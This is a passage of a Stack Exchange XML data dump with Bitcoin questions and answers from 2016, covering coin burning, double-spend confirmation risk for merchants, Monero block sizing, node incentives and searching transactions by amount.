  <row Id="44247" PostTypeId="2" ParentId="44235" CreationDate="2016-05-21T17:06:30.407" Score="2" Body="&lt;p&gt;There's already a way to burn bitcoins. You simply assign the bitcoins to an OP_RETURN. No need for the complex machinery.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2016-05-21T17:06:30.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44248" PostTypeId="2" ParentId="44162" CreationDate="2016-05-21T18:37:07.580" Score="2" Body="&lt;p&gt;The Bitcoin won't magically revert back to your wallet. Contact the exchange and let them know, and they'll handle it, either by processing the exchange or refunding you.&lt;/p&gt;&#xA;" OwnerUserId="35841" LastActivityDate="2016-05-21T18:37:07.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44249" PostTypeId="1" AcceptedAnswerId="44266" CreationDate="2016-05-21T20:20:10.257" Score="8" ViewCount="80" Body="&lt;p&gt;Satoshi built Bitcoin to be a decentralized network. Some of the original recommendations (such as waiting for 6 confirmations) relied on statistics that related to level of decentralization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.org/bitcoin.pdf&quot;&gt;https://bitcoin.org/bitcoin.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the math on page 9 of the whitepaper there is less than a 0.1% chance of successful a double spending attack if a rogue miner controls 10% of the network hash rate and the recipient waits for 5 confirmations. However if a rogue miner controls 45% of the network hash rate you would have to wait for 340 confirmations to reach the same level of confidence (less than 0.1% chance) of a double spend not occurring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any tools that automatically monitor the hashrate of the major pools and dynamically use that data to change the number of confirmations merchants request? My intended use case would kick in for large purchases when/if a major pool went down, giving another pool (at least temporarily) a very large percentage of the network hash rate.&lt;/p&gt;&#xA;" OwnerUserId="35732" LastActivityDate="2016-05-22T08:24:35.607" Title="Merchant tool that will dynamically adjust the # of required confirmations based on network hashrate data" Tags="|mining-pools|hashpower|doublespend|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="44250" PostTypeId="2" ParentId="38394" CreationDate="2016-05-21T20:41:45.787" Score="5" Body="&lt;p&gt;I am not aware of any cryptocurrency that has block times of greater than 10 minutes, but I am very familiar with the desire to limit growth of the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Monero recently increased its block time from 1 to 2 minutes in part for the reason you mentioned (but also in part to reduce the # of orphan blocks which occur more frequently when block times are very short)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Monero uses an adaptive blocksize that automatically scales based on blockchain usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/Monero/comments/45b8qn/my_journey_to_finding_monero_and_some_questions/czwlcdb&quot;&gt;https://www.reddit.com/r/Monero/comments/45b8qn/my_journey_to_finding_monero_and_some_questions/czwlcdb&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quadratic penalty is imposed such that block subsidy = base subsidy * ((block size / median size of last 400 blocks) - 1)², with the penalty being applied after you build a block larger than the median size. The maximum block size is 2*median size. Because subsidy is based around the number of coins in existence, the 'burned' subsidy is deferred to be paid out to future blocks.&lt;/p&gt;&#xA;" OwnerUserId="35732" LastActivityDate="2016-05-21T20:41:45.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44251" PostTypeId="1" AcceptedAnswerId="44252" CreationDate="2016-05-21T21:11:05.830" Score="4" ViewCount="127" Body="&lt;p&gt;&lt;a href=&quot;https://bitnodes.21.co/&quot; rel=&quot;nofollow&quot;&gt;https://bitnodes.21.co/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full nodes are important everywhere providing visibility and improved network latency. In areas where bitcoin mining is not profitable due to the high cost electricity or other factors what incentives can be used to increase the number of nodes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will 21.co be successful in its efforts to install mining equipment in mobile phones and other consumer devices across the world?&lt;/p&gt;&#xA;" OwnerUserId="35694" LastActivityDate="2016-05-22T04:33:09.430" Title="What economic incentives would help wider geographic distribution of bitcoin nodes?" Tags="|full-node|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44252" PostTypeId="2" ParentId="44251" CreationDate="2016-05-21T21:48:09.610" Score="4" Body="&lt;p&gt;No incentives to run nodes are required. As people in these countries are presented with more use cases to use bitcoin, organic growth in the number of nodes will follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;International money transfers and a superior alternative to M-Pesa for retail transactions are both attractive areas for growth in some of the areas with limited node counts today.&lt;/p&gt;&#xA;" OwnerUserId="35724" LastActivityDate="2016-05-21T21:48:09.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44254" PostTypeId="1" AcceptedAnswerId="44256" CreationDate="2016-05-22T00:19:53.500" Score="4" ViewCount="3183" Body="&lt;p&gt;I have been looking and I cant figure out a way to find a recent transaction by quantity. Let's say I know someone sent &quot;x&quot; amount of BTC but I don't know who was the sender nor the receiver, this transaction however was very recent, less than an hour ago. Can I search for transactions in the blockchain by quantity sent or received?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like the &quot;recent transactions&quot; tab on blockchain.info but a complete log of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="35869" LastEditorUserId="2306" LastEditDate="2016-05-22T00:26:36.913" LastActivityDate="2016-05-22T03:10:20.507" Title="Can you search a transaction by quantity?" Tags="|transactions|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44256" PostTypeId="2" ParentId="44254" CreationDate="2016-05-22T03:03:51.367" Score="4" Body="&lt;p&gt;There are at least 2 options that I am aware of:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.goochain.net/&quot; rel=&quot;nofollow&quot;&gt;https://www.goochain.net/&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin-abe/bitcoin-abe&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin-abe/bitcoin-abe&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The first option is a web based tool that will search the block explorer of your choice. The second will take the blockchain and load it into a database which you can search for your desired criteria.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just ran a test search on goochain with the criteria below and found 26 transactions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From : 2016-05-03 Tue 03:00 UTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To     : 2016-05-03 Tue 04:00 UTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.1 BTC ≤ Amount ≤ 3.2 BTC&lt;/p&gt;&#xA;" OwnerUserId="35807" LastEditorUserId="35807" LastEditDate="2016-05-22T03:10:20.507" LastActivityDate="2016-05-22T03:10:20.507" CommentCount="1" ContentLicense="CC 